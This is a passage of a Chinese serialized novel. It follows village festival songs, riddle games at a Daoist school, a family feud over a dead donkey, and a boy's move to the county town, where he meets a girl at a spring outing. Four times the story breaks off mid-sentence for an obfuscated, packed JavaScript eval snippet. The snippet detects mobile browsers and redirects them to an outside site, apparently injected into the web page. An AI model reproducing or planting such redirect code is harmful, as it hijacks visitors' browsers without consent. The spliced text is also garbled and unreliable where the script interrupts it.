唱秧歌的时候，很多的社灯围城一个圈子，然后把举把插到土壤里，孩子们也就自由了，可以去玩了，大家都有属于自己的灯，也不怕被偷。圈最中间是鼓锣等乐手，女孩子再绕着鼓锣围一圈，端着盆灯，就开始唱了： “高高山上一堆麻，咱滴秧歌是娃娃家，大家们亲亲别笑话呀……” 女娃们唱完秧歌，也就自己玩去了，剩下就是大人唱大戏了。话说吴宽良好不容易等到金凤唱完秧歌，就把她拉到了一边。金凤没有注意，回头一看，是吴宽良，故意嗔怒道：“你拉我干嘛？”。吴宽良调侃道：“我喜欢你啊”。金凤甩开吴宽良的手说：“喜欢我就要拉我呀？好吧！你去喜欢吧，我允许了”。然后欲打算转身离开。吴宽良有点急了，说：“你别走啊，说说话吧，我想也不耽误你什么”。金凤回呛道：“你对女孩子都是这么死皮赖脸吗？”，说完噗嗤一声笑了。吴宽良回道：“那倒没有，只对你”。金凤说道：“鬼才信你，你不嫌我是个放羊的了？”。吴宽良说道：“谁嫌你是放羊的了，是你说的，我又没说”。金凤回呛道：“哦！我明白了，你是看上我家羊了吧”。说完，“哈哈”的大笑了起来。吴宽良看见她很开心，没有半点生气，趁机补说道：“你别笑了，我有东西给你”。金凤慢调斯文说道：“蛐~蛐~篓，我不要！”。吴宽良说道：“不是的，你看”，说着掏出了一个银制的手镯。金凤一看，正色说道：“这么贵重的东西，我不能要，我们又不是什么关系”。吴宽良有点不知所措，气氛有点尴尬了，幸亏是黑夜映着闪闪灯光，也不会让金凤看出来。这一拒绝，金凤也感觉到了吴宽良的不知所措，急忙回补了一句，说道：“你先替我收着，就当我收了”。吴宽良还是感觉不踏实，试探道：“这怎么说，你有喜欢的人了？”。金凤笑道：“那天见你感觉你挺聪明的，你原来这么笨”，说完又“哈哈”的笑了。吴宽良见她很开心，就不再追问什么了，故做很自然的拉了金凤的手，说：“走我们去看戏”。金凤没有拒绝，他们走到秧歌圈旁边，灯火越来越亮了，金凤悄悄的把手抽了回去。 时间不知不觉快到凌晨一点了，鼓点打的是召集今。不一会，各个社灯拔地而起，所有的狮子在圈中间开始耍动了起来，慢慢的分站五个方向，各个头家也分站在各自狮子的前面，大部队都跟着各自的狮子开始移动了，不一会，队伍分成了五队，朝不同的方向分散去了。上葫芦寨离耍秧歌的场地也就一个山头，三十分钟以后，大家都各自回家了。妙妙太困了，倒头就睡着了。 这样的秧歌要耍到正月十五，在学堂正殿老君像前烧表才算结束，所有的东西一并都得烧，只留灯架，盆架，龙骨架，狮头，以便来年再用。好多孩子跟几个晚上就跟不住了。所以，好多秧歌队最后面几个晚上，也是附近耍耍就算过了。 正月十五早上烧完表以后，一行人就会来到学堂的聚客厅，下棋，掀牛牌等。中午冯玄真会聚餐款待大家，以感谢大家的辛苦。因为实际上，起秧歌是道家的祭祀活动，以便让大家都知道“道”的名，济世安民。款待大家，国家都有经费的。 话说学堂聚客厅，在进入正门的左侧，穿过花圃就到了，这个聚客厅很大，能容纳近百人。学堂右侧识字树旁边的这一排房子，有两间是识字的教室，平时伴读生和女孩子在这里识字。 靠近大殿那边的房子，主要是冯玄真和先生，助教办工的地方。还有一间会客厅是招待客人的。孩子们被安置在这里聚餐。食堂厨房在大门外面水井的旁边，也有休息房，做饭的女眷们都在那里聚餐。 到了中午的时候，聚餐正式开始，因为都是上寨的人，每家离学堂都不远。所以大家可以玩的很晚。其他村寨比较远的人们，会一天一个村的安排，不会玩的太晚。 聚餐开始以后，冯玄真要先敬头领，今年的头领是金有田，然后大家随便吃喝。冯玄真刚准备起身敬酒，冯堂进来了，他本来给自己占了个前排的位置，这一看上面有人坐，很惊讶的说道：“你怎么坐这里了？”。他说完话，看见冯玄真在看着他，他片刻不待停留的赶紧来到了后面坐了下来。 凡没有取亲出嫁的孩子，都在这边会客厅。金家的有：金山海的老三金有堂。金全海的老三金有国和老四金有平。金志海的老二金有亮，以及三个女儿金凤，金萍，金梅。金如海的儿子金有军和女儿金宝琴。金春海的两个女儿金莺，金朵，以及金有妙。金有田的女儿金灵，金香，儿子金君宝。 冯家有冯虎的老四冯炳乾，他三个姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14156631|150355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐都已经出嫁。冯玄真的老四冯炳章，老大老二已成家，老三老五是女儿，随母在县城居住，在鹿泉学堂识字。冯堂的老三冯秀莲（18岁），老四冯秀珍（16岁），老大已经结婚，老二跟随吴远航做学徒。 古家有古文武的独字古鹤。还有孙赵郑唐四家，暂不细表，今天来的有，孙果儿（女9岁），孙秋燕（女，6岁），孙秋海（男，4岁），他们的四叔孙宝亮，以及五叔孙宝明。赵刚（8岁），赵勇（6岁），郑国雄（19岁）郑国伟（10岁），唐福（24），唐贵（20岁），唐元（18岁）.唐欣儿（12岁）。这里就属古鹤最大25。 话说冯秀莲和金凤一样大，平时也走的近。古鹤，唐福，唐贵，冯炳乾，郑国雄，金有军等都大孩子了，喜欢和他们坐一起。妙妙都不喜欢他们，和莺儿，冯炳章，孙果儿，朵儿，灵儿，香儿等小孩子坐一起。金萍，金梅，金宝琴，冯秀珍，唐欣儿等他们一起坐。冯秀莲最是能说会道的一个，他提议大家猜谜喝酒，小孩子可以喝茶，谜由她来出，答上来了她喝。就这样，会客厅的气氛立马活跃起来了。从他身边开始转，别人不许帮腔，违反的罚三杯。然后她对着金凤说道：“偷什么不犯法？”。金凤想了一下，也想不出来个啥，说道：“偷人”。金凤一听，“哈哈”大笑，说道：“你偷鬼的个人吧，来喝酒”。金凤辩解道：“我说错了吗？那你说偷啥”。冯秀莲声顿起落的大声说道：“偷~笑”。 轮到莺儿这里，秀莲是比较了解莺儿的，莺儿她家干活的时候，她就经常出谜语逗莺儿玩。她说的谜语，莺儿大概都知道。她对着莺儿说道：“什么鸡没有翅膀？”。莺儿回答道：“田鸡”。大家都没想到，还是蛮佩服莺儿的。其实秀莲以前早就给她说过这个。秀莲说太多了，这个说没说她或许不知道。 轮到冯炳章这里，秀莲说道：“你家有一条狗，为什么不生跳蚤？”。冯炳章说道：“因为它很干净”。秀莲说道：“错！因为狗只能生狗，来喝酒，你男儿，不许喝茶”。冯炳章抿了一口，就放下了。秀莲一看说道：“不行，喝完”。冯炳章就喝完了一盅。 轮到唐贵这里，秀莲说道：“小猫的左耳朵最像什么？”。唐贵想了一下，说道：“右耳朵”。秀莲端起一盅酒，就喝了下去。众人一看唐贵能答对，古鹤就说道：“你尽给他出简单的”。秀莲回击道：“你胡说，他回答上来了，你们就说简单，这比偷笑还能更简单吗？”。古鹤一听也就不说话了。 轮到灵儿这里，秀莲说道：“有一个字人人都会念对，这是什么字？”。灵儿回答道：“对字”。秀莲喝了一盅继续对着朵儿说：“有一个字人人都会念错，这是什么字？”，朵儿不加思索的说道：“错字”。秀莲说道：“不对，满茶一杯”。朵儿一听，说道：“为什么灵儿就对，我的不对”。秀莲说道：“对字念对自然是对的，但错字念错也是对的，怎么能说念错呢？”。朵儿一听，说道：“那你说什么字”。秀莲回答道：“还是对字，对字你念错字，那不就是念错了吗？”。众人一听，好像是这么个道理，过了也不会管它。妙妙听了这个辩证，很是震撼，他意识到，烦恼和讨厌只是自己语言思考强加给自己的，不同的理解有不同的对境。好像对金梅姐妹也不是那么讨厌了。 轮到妙妙这里，秀莲说道：“一头牛原地转三圈，尾巴朝哪里？”。妙妙回答道：“朝地”。秀莲喝了一盅。众人就这样说笑着，不觉就到了晚上。 10. 孙赵结亲终成怨，朵灵对谜拾地软 这年正月十五的晚上，碧空万里，皓月当空。大人们还在学堂喝酒玩牛牌。金春海在县城没过来。所以，朵儿和灵儿是比较自由的。灵儿和朵儿来到外面田埂边上看月亮。灵儿问朵儿说道：“姑姑，你说山的外面是啥？”。朵儿回答道：“自由吧，就像我们玩耍，不用看大人脸色一样的自由”。灵儿又问朵儿说道：“那你说月亮里是啥？”。朵儿回答道：“也是自由吧，就像太阳每天升起来，不需要别人唤醒一样自由”。说完以后，朵儿紧接着问灵儿说道：“灵儿，你想离开这里吗？”。灵儿说：“嗯，去我家姑姑那里住几天，那儿估计没人管我，就可以好好玩几天啦，我也带你去”。 她们就这样，你一言我一语的聊着。感觉渐冷的时候，回了灵儿房间，一起睡觉了。灵儿平时和奶奶睡，今晚他们三个一起也不挤，以前经常加个妙妙，也都是不挤的。 转眼到了农忙的时间了，话说赵刚和赵勇的父亲娶的是孙家女儿，排行老三。大哥孙宝财，二哥孙宝源，四弟孙宝亮，五弟孙宝明。赵刚父亲叫赵如意，母亲叫孙宝婵。孙赵两家在上葫芦寨下坡，靠的比较近。 这年春种的时候，赵如意借娃大舅孙宝财家的驴耕种了几亩稻谷。不知道咋滴，还回去的时候，驴没几天就死了。对于农人来说，一头驴那几乎是全部的家当和希望。孙宝财气不过，找赵如意算帐。 赵如意说道：“在我家好好的，为什么在你家就死了，这能怪我吗？”。孙宝财怒斥道：“你没借用之前好好的，被你用了就死了，不是你动了手脚就是累坏了，你是别人家的东西不心疼是吧”。这样言语一来一去的，不片刻就打了起来。 孙宝婵见哥哥和丈夫打了起来，就去拉架，赵如意使劲一推，孙宝婵被磕在了桌子上，幸亏没事。孙宝财见状，撕着赵如意就往外面宽敞地来，对骂声响彻整个山谷。 不一会，孙家四兄弟也到了现场，打成一团。赵家也是四兄弟，只是他是老大，老二在外村学烧窑的手艺。老三老四都是十多二十来岁，也帮不了什么忙。他渐渐败下阵来。由于孙宝婵的阻拦，也没出什么事。赵如意给孙家补偿半头驴的钱，就这样了了(liao,le)事，只是两家从此落下了怨恨。 孙宝财有一男一女，老大孙果儿，老二孙康儿，和赵刚赵勇也是动不动就打架。孙宝源有两个孩子，女儿孙秋燕和儿子孙秋海，时不时的也会被赵刚欺负。如此世间迷障的轮回，就这样在孩子们身上流转着。 黄土高坡的春天，温暖而迷人。远处望去，渐青浮出地面，近观又不是太明显，但能闻到青草的泥香味，沁人心肺，这是冰雪融化的馈赠。冬天寂冷的山涧，现在被各种鸟声点缀。尤其是天蒙蒙发亮的时候，一声清脆的黄鹂声，把人们从睡梦中唤醒。 这个时候，妙妙和朵儿走在乡间的小路。让他们最开心的是，顺便观察一下茂葛出脱了多少？茂葛是如同沙棘一样的植物，它开的花，形状如同一个鸟的形状，是可以吃的。吃的时候，朝着花心吹几口气，里面就会跑出来很多虫子。虫子如同针尖一般大小，小的看不清是什么形状。但是，墨黑的颜色让它们在黄色的鸟形花瓣上一览无余。等虫子跑完了，就可以吃了。正是因为它们可以吃，所以才让妙妙和朵儿念念不忘。茂葛有正偏之分，正的可以吃，偏的有毒，没有见过的人，在外形上是很难分辨的。这个名字也是乡里人的叫法，具体叫啥，就不得而知了。 妙妙是去学堂，朵儿是去找灵儿，然后和灵儿一起去识字。女娃识字，没有固定的时间，灵儿往往会带着朵儿先玩一会再去。他们俩去的最多的地方，就是金山海他们打水的泉的旁边，有一片杏树林。春天的杏树林是最好玩的地方。有的已经开了花，有的含苞欲放。蜜粉围绕着花朵，时不时的在她们的眼前飞过。你不招惹它们，它们也不会招惹你。 在杏林的地上，是去年枯萎的腐草。初春的腐草下面，地软开始膨胀。膨胀的地软，新绿未发时，更容易发现，这是拾取地软的最好时节。地软是黄土高坡最常见的菌类，要洗几十遍才能作为食材，农家人多以它为材料包包子，饺子，熬汤。做臊子面也会放一些。她俩逛一会就会去学堂，完了就会相约一起去拾地软。 她俩来到学堂，走进识字间，金志海给金梅，孙果儿，赵刚，郑国伟正在讲字，示意她们坐下。今天金志海讲的字她俩都认识，完了就让大家自己去练了，他自己就去拾掇花圃卫生了。 赵刚和冯炳章同岁，是给冯炳章做伴读的。孙果儿，郑国伟也是私通先生识几个字而已。金志海出去以后，赵刚不屑的看了孙果儿一眼，说道：“我给你说一个昨天一样的谜语，你肯定猜不出来”。孙果儿回答道：“你滚吧，就你还能说什么谜语”。他俩不一会，言语就杠上了。灵儿最是机灵的，赶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14156632|150355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紧说：“我们大家都想一个，然后说出来大家猜。不会说的就是笨的，答不出来的，也是笨的，好不好？”。大家点头都同意了。先由灵儿说：“一只狗，四个口，打一个字”。大家都猜到是器，唯独赵刚没有答上来。余下再不细细表述。完了灵儿和朵儿就去杏林拾地软了。 要说今年开年的学堂，有什么变化的话，就是冯炳章打算转入县城鹿泉学堂，想叫金有妙一起去，金有妙自然是想去的。再说了，父亲在那里，他也不会没个去处，只是他太怕父亲了，又纠结矛盾上了。说道：“我自然是想去的，可是转学不由我做主，也不知道父亲会不会让我去”。冯炳章轻松的说道：“这有啥，你又不是没地方吃饭睡觉，转学我阿爹说一声就可以的，就是住我家也可以啊”。金有妙还是支支吾吾的不知道如何作答。冯炳章继续说道：“你下个决心，今晚就给你阿爹说，我回去给我阿爹说”。金有妙说道：“我父亲不在家”。冯炳章说道：“来了就说，不管什么答案你都告诉我”。金有妙点了一下头。 话说朵儿和灵儿在家里拿了箩筐，来到了杏树林，就开始捡地软了。春天的晌午，温度刚刚好，不冷不热。布谷鸟，时不时的出来叫唤两声。农人赶驴耕种的声音，更是此起彼伏。朵儿问灵儿：“刚才你说的字谜哪里来的？”。灵儿回道：“我自己想的”。朵儿继续说道“你给我再说一个，我试试，蛮好玩的”。灵儿说道：“你来吧，我刚才说了一个了，你说一个我来回答”。朵儿想了好一会，说道：“十个兄弟有力量，你猜一个字”。灵儿说道：“十兄不就是克嘛，克自然有力量，这也太简单了”。朵儿说道：“那你说一个难的”……。他们俩就这样一问一答的捡了好长时间，就回去吃饭了。 吃完饭到了下午，朵儿回了家。妙妙中午回家吃饭的时候，也给母亲说了转学的想法。所以，朵儿回来以后，母亲杨氏给朵儿说了这个事。朵儿说：“那挺好耶，我还没去过县城，也带我和灵儿去转转吧”。商定好以后，只等金春海回来说这个事了。 半月以后，金春海回来了，杨氏随便提了一下，还没等仔细说，金春海说：“我知道这个事情，我就是来接妙儿的”。杨氏就说带朵儿去玩的事。金春海说：“我托有田拉一些棉被去县城，让有田带着朵儿，灵儿一起去玩吧”。朵儿一听，别提心里多高兴了，她是不敢给父亲说的，这顺利的超出了她的预想。 11. 妙妙随父进县城，朵灵初离金山村 第二天，金有妙跟在父亲的后面，踏上了县城的路。她和父亲是不会有什么交流的，只有脚下的路在移动，不知不觉就来到了山梁。远处的山梁，波浪起伏，就如同他的心情，憧憬着外面的世界，又越不过这一重重迷障。一阵阵的北风，扬卷着黄尘，呼啸着驰过山梁，摇曳着时不时飞起的蚂蚱，落在了他的脚跟。让他想起了第一次抓蚂蚱时，被父亲一顿皮鞭的抽打。几乎失了魂的他，跑到五爸的门前，歇斯底里的喊着“五爸，开门了，要打死人了”。母亲虽然懦弱到一句相劝的话也不敢说，可这是他唯一能期待的港湾。想到这里，妙妙“唰”的眼泪就如同清晨的露珠，滚下了丝滑的草叶，又滚上了他的脸颊，浸没在无处可寻的心田。柔软本是我的真性，慈悲本是我的灵性，我何以如此憎恨，又如此失望。大地啊！你拥我入怀吧，让我感受你的宽广。急风啊！你贯透我的全身吧，让我把这仇恨与恐惧交给你的虚无。无心的人，世间的路，本来是好走的，为何我如此悲伤。 妙妙抬起了头，看向前面不远的父亲。这是他第一次眼睛不用闪躲的观察父亲。空旷的山梁，只有他的身影，孤独且单薄。单薄的好像风一吹就会倒下。隐过一个山梁，又出现在一个山梁，即真实有虚无。在若隐若现中，妙妙丝毫不敢离的太远，抓住他的影子，就是抓住当下的踏实。世间的路啊，你为什么这么难走？他可曾被绊倒时又爬了起来？他可曾悲伤时，擦去了眼泪？他可曾在转身处看到喜悦的依靠？是谁把山河大地交于你？是谁把清风明月交于你？是谁把身体谷食交于你？是谁把妻儿情想交于你？苍天啊！你给他一个不能转身的转身吧！为何让他如此孤单。 到县城大概需要两个多小时的路程吧，走了大概一个小时的路程时，金春海坐在路沿子上，等妙妙过来。妙妙走到跟前，他问到：“你饿吗”。妙妙没敢说话。金春海在布兜里掏出一个饼，塞到他手里，说：“吃吧”。妙妙接过饼，咬了起来。金春海抬头望着远方，目光坚定又慈祥，妙妙此时一点都看不出来，他就是那个脾气暴躁的父亲。 金春海把衣服往左边撩了一下，绾过膝盖。忽然“哎呦”一声，急忙摸了几下腰间，手又平静的放在了膝盖，目光看向了远方。淡淡的说了一句“你要渴，就忍一忍，没有带水，忍一忍就到了”。妙妙心想：“这么远的路，他每月就是这样把面粉和一些土豆背到家的，这也太不容易了”。 休息了一会，他们又开始走了。他们绕过最后一个山梁，盘旋着就要走下坡去，向下极眼望去，很长一段下坡路。这要背粮上来，那得多吃力，妙妙如此想 着。 下到山底下，他们就绕进了一个村子，村子里很多人开始春耕。烟雾缭绕，有些平地有烧秸秆的痕迹。村子是比较平的，看上去不小，这就是傍河镇。看见这些，妙妙想起自己家今年也有驴了，大姐应该不会太辛苦了。 沿着傍河镇绕绕弯弯，就下到一条很宽的沟里，沟里有大水，后来他知道这条沟就是鹿泉河的上游，鹿泉河流过鹿泉县，最后汇入夏河。沿着沟越走，水量越大，以至于有了一些人工修的岸堤，渐渐的就进入了岸边的小路。 沿着岸路大概走二十分钟，一片很开阔的土地顿时现在眼前，有城，城左右观，眼不可及。河穿城而过，来往有小船，河中有水门，畅通未掩。在河的左侧，城墙那里有门，上面写着“鹿泉县”三个大字。金春海淡淡的说：“这就是鹿泉县”。 他们进入鹿泉县，越往里面走，人越多了起来，妙妙越跟的紧了，生怕过路的人把他挤丢了，这可比金山村人多多了。先傍着河畔走了大概15分钟的路程，看见一个很大的院子，里面绿树葱阴，殿房不少。大院的左侧就是鹿泉河，河上有桥。过了桥，能看出来是一片很大的林子，有杏树，桃树，柳树，杨树等。 从这个路口右拐，左手边就是大院的正门，也是牌坊匾门，上面写着“鹿泉书院”四个大字。两边一副对联：“道学悠远，福恩烁古今。圣贤云集，治学传四海”。金春海指着门口说：“这就是鹿泉学堂，你以后在这里上学”。妙妙随声应了一声“嗯”。 沿着这条街道直走，大概也是十五分的路程。会看到一个很古朴的大院子，院墙很高，里面也是绿阴葱郁。院门口有一个大鼓，两边是花圃，正门上写着“鹿泉县衙”。 进入院门，他们沿着一条葱郁小路，弯弯绕绕的也不知道过了几个拱门，就看见一排房子。金春海指着一间房子说：“以后你就住这里，我就在隔壁”。妙妙本来怕和父亲住一起，一直纠结要不要来县城，这会可别提他心里有多乐了。金春海推门进了房，说道：“明天你有田哥把被子拿过来，你就可以住这里了，今晚去我房间挤一挤”。来到金春海的房间，休息了一阵子，他们就来到鹿泉书院熟悉。 来到书院，门口的衙役金春海认识，因为这里负责治安的，都是县衙直接派过来的。鹿泉学院的道学督办是龚映兰的舅舅万喜云，他最是一个欢道闲游的人，挨着学堂后面就是白云观，他在那里悟道。平时书院大小事等，由龚映兰的表哥万怀德做主。 龚映兰就是冯玄真的妻氏，生有五个孩子，老大冯炳德，老二冯炳仁已经结婚，老三女儿冯妙如这年十二岁，老四冯炳章，老五冯妙元这年7岁，在鹿泉女子特设班上学。 女子特设班是经过申报批准的女子学习班，审核严格，很少有书院被通过，鹿泉书院就是被通过的其中之一。女子特设班的的学生，和男孩子一样，有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14156633|150355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被提名推荐的资格，可以朝廷任官职。 金春海带着妙妙逛了一圈，就来到了鹿泉书院餐厅，吃了中午饭。然后根据冯玄真的交代，找到了万怀德。万怀德吩咐人带着妙妙办了手续，发了饭票和学服。饭票不够可以再申请。后天来上学，也是考虑孩子刚来，明天县城玩一天。办完这一切，然后就回了县衙，金春海去应景办事了，妙妙就在房间睡着了…… 话说灵儿和朵儿听说明天要去县城玩，也是开心的不得了，这天下午就帮杨氏晒被子。有一条毯子是金有田家的，让灵儿拿了过来一起晒。杨氏住金家老院子，院子上面是一个苜蓿地。莺儿带着她们俩就去苜蓿地里拾地软。苜蓿地的坡埂上，有几株很大的茂葛，因为面阳，最外面的枝头有数朵花开始吐芳。灵儿和朵儿摘了几个开始用力的吹气，然后放嘴里嚼了起来，还不是很甜。初春的山里，也没什么其他花，杏花倒是漫山遍野的开。下午天气愈发温暖，蜜蜂飞的到处都是。朵儿和灵儿地软没拾几个，又爬上了老院子场边的两棵杏树，玩闹了起来。 灵儿奶奶送的三只兔子，就在这杏树下面挖的地窝里养着。灵儿过来的时候，也带了一筐白菜，她俩又鼓捣上了兔子。就这样不觉天黑了下来，转眼就到了第二天早上。 第二天早上，金有田带着架子车来到六妈家，把被子绑在车上装好了，留出了朵儿和灵儿坐的空间，他们三人就出发了。刚出门上山梁的时候，她俩帮父亲或者哥哥推车。到了山梁以后，路基本是平的了，朵儿和灵儿就坐车上了，那是别提多高兴了。中午的时候，他们到了县衙，说明情况，就进去了，金春海带着他们在饭庄吃了饭。下午金有田带着他们三就玩去了。金春海给了他们三个一人二量钱。 来到大街，人来人往的好不热闹。有捏泥人的，他们三捏了自己心中的兔子，三个一分钱，分是量的十分之一。有扎气球的，妙妙要玩，金有田感觉有点浪费钱，就没玩这个。有套圈圈的，套圈圈就是一定区域摆上东西，人站远处扔圈圈，套住了东西归自己。他们三套了一个毛弹球，拳头大小，踢着玩的。 朵儿给莺儿买了五色彩丝线，一色一困，一困是孩子小指头那么粗，一共花了一量，丝线太贵了，也是没办法的事。朵儿和灵儿都买了梳妆的镜子和梳子，头绳，发卡，都不是很贵，一共五分。然后就是买了一些糖果。金有田也买了一些菜籽种子，绳子，碗碟等平时必须用品。然后他们就回去了。 回去一看，金春海把妙妙睡的房间已经收拾好了。朵金，灵儿，妙妙这里挤了一晚上。金有田和金春海挤了一晚，他俩从小长大，金有田小时候经常在奶奶童氏家和六叔挤一个炕，所以没啥不自在的。第二天他们三个拉着车就回了金山村。 12. 鹿泉河边起春游，踏青节上逢妙元 话说在妙赞国，谷物等早熟的作物种上以后，差不多就是清明的时节，全国举行大祭祀。县城的人们会到郊边踏青。农人也会沿着山梁转山踏青，然后给先人们坟上烧纸。 在金山村，上葫芦寨东山梁上，有一个很大的土块堆起来的转堆，这里是禁忌。大人们都会告戒孩子，不能爬这个土堆。 每年踏青时节，农人都会来这个转堆这里，转堆中间点燃大火，作祭祀祷告，祭祀上天。祭祀活动，由道办来主持举行，金山村就是由冯玄真主持，祷念祭文：“道隐无名，始作天地，以火传信，变化来交，五谷畜禽。今起火信，上天转运，以示道本，祈我族人，五谷丰登，……”。祭文祷念完毕以后，大家围绕着土堆转圈跳舞。大火熄灭，祭祀结束。 这样重要的节日，妙理城，鹿泉县，以及各个城县，都要举行祭祀活动，暂不细表。学堂也要举行踏青春游。鹿泉学堂由龚映兰的表弟万怀玉带队，组织春游。万怀玉为学堂助教，万喜云的老四，今年二十八，有一个女儿7岁，名万祖蕊，最是和冯妙元要好，几乎形影不离。 万怀玉带着学生们，就在学堂跟前的鹿泉河边玩。过了学院旁边的这个桥，就是栖鹤林，林里有杏树，桃树，槐树，杨树等，大家分头拾取材火，架起野炊锅，就可以烧鱼，烤土豆等。 金有妙，冯炳章，冯妙元，万祖蕊等这样一般年纪的学生，就到处拾柴，大一点的学生烤鱼，烧土豆。金有妙和冯炳章一起，转过两棵杏树，金有妙看见一个女孩子，清脆的笑声吸引住了他，他定眼一看。此人身姿轻盈，貌若天仙。可谓是“宽额点黛，眸邃藏乾坤。鼻挺酒微，嘴翘秀玲珑。灵机一动露禅心，委婉笑来雀出谷。 体态丰盈，指纤握日月。行步洒脱，袂转微带风。静覆思想威众小，怜楚垂身惊天人”。她就是冯妙元。 冯炳章跟了过来，说道：“元元，你们拾了多少？”。冯妙元回道：“拾了多少也不能给你呀，你问它做甚？”。话完话，眨巴了两下大眼睛。冯炳章说道：“你理解错了，是把我们俩的给你分一点”。冯妙元看了金有妙一眼，说道：“这个哥哥我怎么以前没见过？”冯炳章说道：“他是我的好朋友，叫金有妙，比我大一岁，给你做哥哥也是绰绰有余了”。冯妙元一听有个妙字，来了兴趣，说道：“和我一个妙字，倒也是新奇的很”。然后深邃灵动的目光望了金有妙一眼。这一望，让金有妙有点不知所措。金有妙本来就结巴，这一紧张，更就不知说啥了，只是心里知道，她就是冯炳章经常提到的妹妹冯妙元。 万祖蕊最是一个马虎心宽的人，各种好奇，各处停留，等她过来时，大家都聊了好一阵。冯妙元说道：“你到哪里去了，我看你拾了多少啊？”。说话的同时，也看见了万祖蕊手里只有两根细柴。她接着说：“这下好了，我看你们拾的也不够她分的了”。然后她夺过冯炳章的柴火就往烤鱼的方向去了。幸亏金有妙拾了好多，金有妙跑的山多，拾柴火有经验。 金有妙把柴火分给冯炳章一些，他俩也来到了烤鱼的地方。冯妙元放下了柴火，拿起了两个烤的焦黄的土豆，分给了金有妙和万祖蕊。自己搅动着柴火，说道：“你们俩吃，我给咋们烤”。万祖蕊一看给自己的烤的更黑一点，就说：“不行，我要和哥哥换”。冯炳章解释道：“你叫我炳章哥哥，那你以后就叫她有妙哥哥吧，要不然谁知道你叫谁呢”。随着时间的推移，啥先熟他们就先吃啥。吃完后，四个人一起去鹿泉河坐船了。万怀玉不放心，也就跟着一起来了。 万祖蕊一看父亲在，也就不敢太随性了，只是听话的跟在后面。冯炳章有啥想法也是不敢先做主。倒是冯妙元，要那个要这个的很随性。他们坐着船，在栖鹤林边上随河移动，杏花的香味随处可闻。蜜粉追逐着香味，时不时的在船头绕飞。就这样，他们玩了一会，各种奇遇趣事，不再详述。 傍晚，太阳披上了彩霞，红透了半边的天空。河的水草里不时的飞出几只蜻蜓。霞映下的空中，蚊子，飞虫，花瓣等，更加清晰。万怀玉让大家以此景作诗。也是为了考察金有妙以前学的如何？毕竟他也是这几天才见金有妙，不甚熟悉。 冯妙元最是机灵的，抢着说道：“我先来”。她想了一会：说道“三月阳暖春，杏闲散落花。河牛乘碧叶，坐看晚归霞”。万怀玉一听，说道：“很好，符合道家禅理的顺其自然”。下面他让金有妙也做一首。金有妙想了一下，说道“有杏不是花，是花不是杏，即杏不散花，做看非是霞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14156634|150355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”。冯妙元一听，很是震撼，只是未露形色，对这个陌生的哥哥产生了几分敬重。她才意识到，一切因人的定义而有，而道并非是这一切，而是能定义的那个本身。立马又说道：“说花即是花，看者就是霞，河牛不看花，落归分无涯”。这个诗句表达的意思，只有金有妙理解其义，其他的人也被绕了进去。但他不想抢妙元的风头也就再没说什么。万怀玉满意的点了一下头，继续说道：“蕊儿你来”。 万祖蕊想了一下说道：“霞落临晚色，炊烟傍人家。归舟远行客，逢暖数落花”。金有妙听完她俩的诗句，才知道鹿泉学堂的正收学生，学功都很深厚。更何况她俩还比自己小两岁。想到这里，他觉得自己更加应该用功。 眼看太阳就要落山，万怀玉抽察了几个学生做了诗，其他的也就作罢了，带着大家回到了学堂。交代了几句就让大家散去了。 冯妙元回到家中，在反复推敲今天金有妙说的禅诗。就追着哥哥问他的家庭和来历。冯炳章大概说了他的情况，冯妙元说道：“真是可惜了”。冯炳章问道：“可惜什么？”。冯妙元说：“他要是有一本道德经就好了，以后可以讲给我听了”。冯炳章说：“那我也可以给你讲，你为什么唯独看重他？”。冯妙元说道：“我只是觉得他能讲的透彻而已”。忽然，冯妙元大声喊在厨房的母亲，说道：“阿母，我要把我的道德经送给有妙哥哥”。 